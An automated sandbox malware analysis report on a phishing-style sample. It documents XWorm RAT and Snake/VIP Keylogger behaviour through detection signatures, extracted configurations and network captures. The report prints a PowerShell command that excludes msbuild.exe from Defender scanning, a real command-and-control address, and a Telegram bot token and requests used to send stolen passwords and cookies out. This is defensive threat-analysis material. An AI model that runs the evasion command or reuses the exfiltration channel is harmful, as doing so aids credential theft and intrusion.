14.0.ubygsn.exe.980000.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2ecfb:$s1: UnHook 0x2ed02:$s2: SetHook 0x2ed0a:$s3: CallNextHook 0x2ed17:$s4: _hook
Click to see the 28 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe", ParentImage: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, ParentProcessId: 6524, ParentProcessName: MSBuild.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe', ProcessId: 4876, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe", ParentImage: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, ParentProcessId: 6524, ParentProcessName: MSBuild.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe', ProcessId: 4876, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe", ParentImage: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, ParentProcessId: 6524, ParentProcessName: MSBuild.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe', ProcessId: 4876, ProcessName: powershell.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-05T14:01:40.349673+0100	2803305	3	Unknown Traffic	192.168.2.6	49771	104.21.67.152	443	TCP
2024-12-05T14:01:43.413215+0100	2803305	3	Unknown Traffic	192.168.2.6	49780	104.21.67.152	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-05T14:01:36.055379+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49755	158.101.44.242	80	TCP
2024-12-05T14:01:38.711666+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49755	158.101.44.242	80	TCP
2024-12-05T14:01:41.852294+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49778	158.101.44.242	80	TCP
2024-12-05T14:01:45.203991+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49789	158.101.44.242	80	TCP
2024-12-05T14:01:48.262691+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49799	158.101.44.242	80	TCP

ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-05T14:01:44.089879+0100	2852870	1	Malware Command and Control Activity Detected	69.174.100.131	7000	192.168.2.6	49734	TCP
2024-12-05T14:02:14.081161+0100	2852870	1	Malware Command and Control Activity Detected	69.174.100.131	7000	192.168.2.6	49734	TCP
2024-12-05T14:02:44.159876+0100	2852870	1	Malware Command and Control Activity Detected	69.174.100.131	7000	192.168.2.6	49734	TCP
2024-12-05T14:02:44.436053+0100	2852870	1	Malware Command and Control Activity Detected	69.174.100.131	7000	192.168.2.6	49734	TCP
2024-12-05T14:03:14.092168+0100	2852870	1	Malware Command and Control Activity Detected	69.174.100.131	7000	192.168.2.6	49734	TCP
2024-12-05T14:03:44.077037+0100	2852870	1	Malware Command and Control Activity Detected	69.174.100.131	7000	192.168.2.6	49734	TCP
2024-12-05T14:04:14.079092+0100	2852870	1	Malware Command and Control Activity Detected	69.174.100.131	7000	192.168.2.6	49734	TCP
2024-12-05T14:04:44.905428+0100	2852870	1	Malware Command and Control Activity Detected	69.174.100.131	7000	192.168.2.6	49734	TCP
2024-12-05T14:05:14.081943+0100	2852870	1	Malware Command and Control Activity Detected	69.174.100.131	7000	192.168.2.6	49734	TCP

ETPRO MALWARE Win32/XWorm CnC Command - Ping Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-05T14:01:44.089879+0100	2859222	1	Malware Command and Control Activity Detected	69.174.100.131	7000	192.168.2.6	49734	TCP

ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-05T14:03:13.212041+0100	2859220	1	Malware Command and Control Activity Detected	192.168.2.6	49734	69.174.100.131	7000	TCP

ETPRO MALWARE Win32/XWorm V3 CnC Command - sendPlugin Outbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-05T14:01:29.905593+0100	2859226	1	Malware Command and Control Activity Detected	192.168.2.6	49734	69.174.100.131	7000	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe

Avira: detection malicious, Label: HEUR/AGEN.1307591

Found malware configuration

Source: 00000003.00000002.4593226321.00000000033C1000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Xworm {"C2 url": ["69.174.100.131"], "Port": 7000, "Aes key": "<12345678190>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V3.1"}
Source: 0000000E.00000002.4593828211.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "Telegram", "Token": "7721085569:AAH1tkciy-nKykIEUNjOAUsItTcvNCVmFLo", "Chat_id": "6236275763", "Version": "4.4"}
Source: 14.0.ubygsn.exe.980000.0.unpack	Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "Telegram", "Bot Token": "7721085569:AAH1tkciy-nKykIEUNjOAUsItTcvNCVmFLo", "Chat id": "6236275763", "Version": "4.4"}
Source: ubygsn.exe.3700.14.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7721085569:AAH1tkciy-nKykIEUNjOAUsItTcvNCVmFLo/sendMessage"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe

ReversingLabs: Detection: 71%

Multi AV Scanner detection for submitted file

Source: BQ_PO#385995.exe

ReversingLabs: Detection: 47%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: BQ_PO#385995.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.2.BQ_PO#385995.exe.2760a49b688.2.raw.unpack	String decryptor: 69.174.100.131
Source: 0.2.BQ_PO#385995.exe.2760a49b688.2.raw.unpack	String decryptor: 7000
Source: 0.2.BQ_PO#385995.exe.2760a49b688.2.raw.unpack	String decryptor: <12345678190>
Source: 0.2.BQ_PO#385995.exe.2760a49b688.2.raw.unpack	String decryptor: <Xwormmm>
Source: 0.2.BQ_PO#385995.exe.2760a49b688.2.raw.unpack	String decryptor: USB.exe

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 00000000.00000002.2258559792.000002760A756000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BQ_PO#385995.exe PID: 2244, type: MEMORYSTR

Source: unknown

HTTPS traffic detected: 104.21.67.152:443 -> 192.168.2.6:49765 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 20.190.177.147:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49809 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.28.10:443 -> 192.168.2.6:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.6:49863 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49898 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49947 version: TLS 1.2

Source: BQ_PO#385995.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: c:\dev\sqlite\dotnet-private\obj\2010\System.Data.SQLite.2010\Release\System.Data.SQLite.pdb source: MSBuild.exe, 00000003.00000002.4618727811.00000000079B0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: Microsoft.VisualBasic.ni.pdb source: WER2620.tmp.dmp.7.dr
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net40/Newtonsoft.Json.pdb source: MSBuild.exe, 00000003.00000002.4617701971.0000000007330000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: WER2620.tmp.dmp.7.dr
Source:	Binary string: System.ni.pdbRSDS source: WER2620.tmp.dmp.7.dr
Source:	Binary string: mscorlib.ni.pdb source: WER2620.tmp.dmp.7.dr
Source:	Binary string: System.Core.pdb source: WER2620.tmp.dmp.7.dr
Source:	Binary string: System.Core.pdb` source: WER2620.tmp.dmp.7.dr
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net40/Newtonsoft.Json.pdbSHA256R source: MSBuild.exe, 00000003.00000002.4617701971.0000000007330000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\PC\Desktop\XWorm V3.1\XWorm V3.1\XWorm V3.1\Dark Worm\Plugins\Recovery\Recovery\obj\Debug\Recovery.pdb source: MSBuild.exe, 00000003.00000002.4606149598.000000000441A000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.4616809591.0000000007240000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WER2620.tmp.dmp.7.dr
Source:	Binary string: Microsoft.VisualBasic.ni.pdbRSDS& source: WER2620.tmp.dmp.7.dr
Source:	Binary string: System.ni.pdb source: WER2620.tmp.dmp.7.dr
Source:	Binary string: System.pdb source: WER2620.tmp.dmp.7.dr
Source:	Binary string: Microsoft.VisualBasic.pdb source: WER2620.tmp.dmp.7.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WER2620.tmp.dmp.7.dr
Source:	Binary string: Microsoft.VisualBasic.pdb source: WER2620.tmp.dmp.7.dr
Source:	Binary string: System.Core.ni.pdb source: WER2620.tmp.dmp.7.dr

Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 4x nop then jmp 0101F45Dh	14_2_0101F2C0
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 4x nop then jmp 0101F45Dh	14_2_0101F4AC
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 4x nop then jmp 0101FC19h	14_2_0101F961
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 4x nop then jmp 069831E8h	14_2_06982DD0
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 4x nop then jmp 06980D0Dh	14_2_06980B30
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 4x nop then jmp 06981697h	14_2_06980B30
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 4x nop then jmp 06982C21h	14_2_06982970
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 4x nop then jmp 0698E959h	14_2_0698E6B0
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 4x nop then jmp 0698E0A9h	14_2_0698DE00
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 4x nop then jmp 0698F209h	14_2_0698EF60
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 4x nop then jmp 0698CF49h	14_2_0698CCA0
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 4x nop then jmp 069831E8h	14_2_06982DCA
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 4x nop then jmp 0698D7F9h	14_2_0698D550
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 4x nop then jmp 0698E501h	14_2_0698E258
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 4x nop then jmp 0698F661h	14_2_0698F3B8
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 4x nop then jmp 0698EDB1h	14_2_0698EB08
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 4x nop then jmp 0698D3A1h	14_2_0698D0F8
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 4x nop then jmp 0698FAB9h	14_2_0698F810
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	14_2_06980040
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 4x nop then jmp 0698DC51h	14_2_0698D9A8
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Code function: 4x nop then jmp 069831E8h	14_2_06983116

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859226 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - sendPlugin Outbound : 192.168.2.6:49734 -> 69.174.100.131:7000
Source: Network traffic	Suricata IDS: 2859221 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound : 192.168.2.6:49734 -> 69.174.100.131:7000
Source: Network traffic	Suricata IDS: 2852870 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes : 69.174.100.131:7000 -> 192.168.2.6:49734
Source: Network traffic	Suricata IDS: 2859222 - Severity 1 - ETPRO MALWARE Win32/XWorm CnC Command - Ping Inbound : 69.174.100.131:7000 -> 192.168.2.6:49734
Source: Network traffic	Suricata IDS: 2859220 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound : 192.168.2.6:49734 -> 69.174.100.131:7000

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 69.174.100.131

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: 14.0.ubygsn.exe.980000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\ubygsn.exe, type: DROPPED

Source: global traffic

TCP traffic: 192.168.2.6:49734 -> 69.174.100.131:7000

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:105270%0D%0ADate%20and%20Time:%2006/12/2024%20/%2010:34:50%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20105270%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7721085569:AAH1tkciy-nKykIEUNjOAUsItTcvNCVmFLo/sendDocument?chat_id=6236275763&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd1659e59db6a3Host: api.telegram.orgContent-Length: 584
Source: global traffic	HTTP traffic detected: POST /bot7721085569:AAH1tkciy-nKykIEUNjOAUsItTcvNCVmFLo/sendDocument?chat_id=6236275763&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0ACookies%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd167d86b4a9a5Host: api.telegram.orgContent-Length: 1281

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.21.67.152 104.21.67.152
Source: Joe Sandbox View	IP Address: 158.101.44.242 158.101.44.242

Source: Joe Sandbox View

ASN Name: ASN-QUADRANET-GLOBALUS ASN-QUADRANET-GLOBALUS

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 6271f898ce5be7dd52b0fc260d0662b3
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49755 -> 158.101.44.242:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49778 -> 158.101.44.242:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49789 -> 158.101.44.242:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49799 -> 158.101.44.242:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49780 -> 104.21.67.152:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49771 -> 104.21.67.152:443

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 104.21.67.152:443 -> 192.168.2.6:49765 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.147
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.147
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.147
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.147
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.147
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.147
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.147
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.147
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.147
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.147
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.147
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.147
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.147
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.147
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.147
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.147
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.147
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.147
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.147
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.147
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.147
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.147
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.147
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.147
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.147
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 69.174.100.131
Source: unknown	TCP traffic detected without corresponding DNS query: 69.174.100.131
Source: unknown	TCP traffic detected without corresponding DNS query: 69.174.100.131
Source: unknown	TCP traffic detected without corresponding DNS query: 69.174.100.131
Source: unknown	TCP traffic detected without corresponding DNS query: 69.174.100.131
Source: unknown	TCP traffic detected without corresponding DNS query: 69.174.100.131
Source: unknown	TCP traffic detected without corresponding DNS query: 69.174.100.131
Source: unknown	TCP traffic detected without corresponding DNS query: 69.174.100.131
Source: unknown	TCP traffic detected without corresponding DNS query: 69.174.100.131
Source: unknown	TCP traffic detected without corresponding DNS query: 69.174.100.131
Source: unknown	TCP traffic detected without corresponding DNS query: 69.174.100.131
Source: unknown	TCP traffic detected without corresponding DNS query: 69.174.100.131
Source: unknown	TCP traffic detected without corresponding DNS query: 69.174.100.131
Source: unknown	TCP traffic detected without corresponding DNS query: 69.174.100.131
Source: unknown	TCP traffic detected without corresponding DNS query: 69.174.100.131
Source: unknown	TCP traffic detected without corresponding DNS query: 69.174.100.131
Source: unknown	TCP traffic detected without corresponding DNS query: 69.174.100.131
Source: unknown	TCP traffic detected without corresponding DNS query: 69.174.100.131

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.228 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:105270%0D%0ADate%20and%20Time:%2006/12/2024%20/%2010:34:50%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20105270%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
